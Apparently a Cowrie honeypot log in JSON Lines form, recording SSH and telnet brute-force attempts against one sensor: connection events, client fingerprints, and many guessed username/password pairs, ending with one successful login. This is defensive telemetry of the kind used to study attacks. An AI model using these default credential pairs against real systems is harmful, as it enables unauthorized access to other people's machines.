{"eventid":"cowrie.login.failed","username":"ts3","password":"ts3","message":"login attempt [ts3/ts3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:03.164728Z","src_ip":"176.65.132.129","session":"ca14993fdfb0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:04.250227Z","src_ip":"176.65.132.129","session":"ca14993fdfb0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":46782,"dst_ip":"159.203.135.109","dst_port":22,"session":"5d100e1d2b74","protocol":"ssh","message":"New connection: 172.237.20.62:46782 (159.203.135.109:22) [session: 5d100e1d2b74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:05.557634Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:05.563222Z","src_ip":"172.237.20.62","session":"5d100e1d2b74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:05.722962Z","src_ip":"172.237.20.62","session":"5d100e1d2b74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":59446,"dst_ip":"159.203.135.109","dst_port":22,"session":"2178c1502f00","protocol":"ssh","message":"New connection: 176.65.132.129:59446 (159.203.135.109:22) [session: 2178c1502f00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:05.950870Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:05.955876Z","src_ip":"176.65.132.129","session":"2178c1502f00","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:06.038767Z","src_ip":"176.65.132.129","session":"2178c1502f00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mc","password":"mc","message":"login attempt [mc/mc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:06.285448Z","src_ip":"176.65.132.129","session":"2178c1502f00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"123","message":"login attempt [user/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:06.397207Z","src_ip":"172.237.20.62","session":"5d100e1d2b74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:07.371927Z","src_ip":"176.65.132.129","session":"2178c1502f00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:07.561985Z","src_ip":"172.237.20.62","session":"5d100e1d2b74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":59472,"dst_ip":"159.203.135.109","dst_port":22,"session":"9b799a3609cf","protocol":"ssh","message":"New connection: 176.65.132.129:59472 (159.203.135.109:22) [session: 9b799a3609cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:09.144296Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:09.149321Z","src_ip":"176.65.132.129","session":"9b799a3609cf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:09.231732Z","src_ip":"176.65.132.129","session":"9b799a3609cf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"neptune","password":"neptune","message":"login attempt [neptune/neptune] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:09.478133Z","src_ip":"176.65.132.129","session":"9b799a3609cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":39800,"dst_ip":"10.17.0.5","dst_port":23,"session":"133eb8e482d9","protocol":"telnet","message":"New connection: 45.58.127.90:39800 (10.17.0.5:23) [session: 133eb8e482d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:09.526550Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:10.564495Z","src_ip":"176.65.132.129","session":"9b799a3609cf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":59498,"dst_ip":"159.203.135.109","dst_port":22,"session":"a1e0a5056d36","protocol":"ssh","message":"New connection: 176.65.132.129:59498 (159.203.135.109:22) [session: a1e0a5056d36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:12.342512Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:12.347057Z","src_ip":"176.65.132.129","session":"a1e0a5056d36","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:12.430768Z","src_ip":"176.65.132.129","session":"a1e0a5056d36","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789","message":"login attempt [root/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:12.801589Z","src_ip":"176.65.132.129","session":"a1e0a5056d36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:13.888084Z","src_ip":"176.65.132.129","session":"a1e0a5056d36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":40988,"dst_ip":"159.203.135.109","dst_port":22,"session":"df91baa5bebb","protocol":"ssh","message":"New connection: 176.65.132.129:40988 (159.203.135.109:22) [session: df91baa5bebb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:15.699785Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:15.704878Z","src_ip":"176.65.132.129","session":"df91baa5bebb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:15.786463Z","src_ip":"176.65.132.129","session":"df91baa5bebb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vss","password":"vss","message":"login attempt [vss/vss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:16.034831Z","src_ip":"176.65.132.129","session":"df91baa5bebb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.237.20.62","src_port":51590,"dst_ip":"159.203.135.109","dst_port":22,"session":"dcbee680c660","protocol":"ssh","message":"New connection: 172.237.20.62:51590 (159.203.135.109:22) [session: dcbee680c660]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:16.402065Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:16.406820Z","src_ip":"172.237.20.62","session":"dcbee680c660","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:16.565935Z","src_ip":"172.237.20.62","session":"dcbee680c660","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy","message":"login attempt [deploy/deploy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:17.082082Z","src_ip":"172.237.20.62","session":"dcbee680c660","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:17.118912Z","src_ip":"176.65.132.129","session":"df91baa5bebb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:18.243983Z","src_ip":"172.237.20.62","session":"dcbee680c660","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":40992,"dst_ip":"159.203.135.109","dst_port":22,"session":"7f424a7633ec","protocol":"ssh","message":"New connection: 176.65.132.129:40992 (159.203.135.109:22) [session: 7f424a7633ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:18.982435Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:18.987323Z","src_ip":"176.65.132.129","session":"7f424a7633ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.027947187423706,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:19.038770Z","src_ip":"45.58.127.90","session":"0d01db7f3ef8","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:19.075066Z","src_ip":"176.65.132.129","session":"7f424a7633ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"1234","message":"login attempt [minecraft/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:19.321866Z","src_ip":"176.65.132.129","session":"7f424a7633ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:20.484298Z","src_ip":"176.65.132.129","session":"7f424a7633ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":41006,"dst_ip":"159.203.135.109","dst_port":22,"session":"36e0770ef68a","protocol":"ssh","message":"New connection: 176.65.132.129:41006 (159.203.135.109:22) [session: 36e0770ef68a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:22.229453Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:22.234374Z","src_ip":"176.65.132.129","session":"36e0770ef68a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:22.315942Z","src_ip":"176.65.132.129","session":"36e0770ef68a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":56912,"dst_ip":"10.17.0.5","dst_port":23,"session":"40d45b85b4bb","protocol":"telnet","message":"New connection: 45.58.127.90:56912 (10.17.0.5:23) [session: 40d45b85b4bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:22.635073Z"}
{"eventid":"cowrie.login.success","username":"steam","password":"steam123","message":"login attempt [steam/steam123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:22.732037Z","src_ip":"176.65.132.129","session":"36e0770ef68a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:52:22.941887Z","src_ip":"176.65.132.129","session":"36e0770ef68a","protocol":"ssh"}
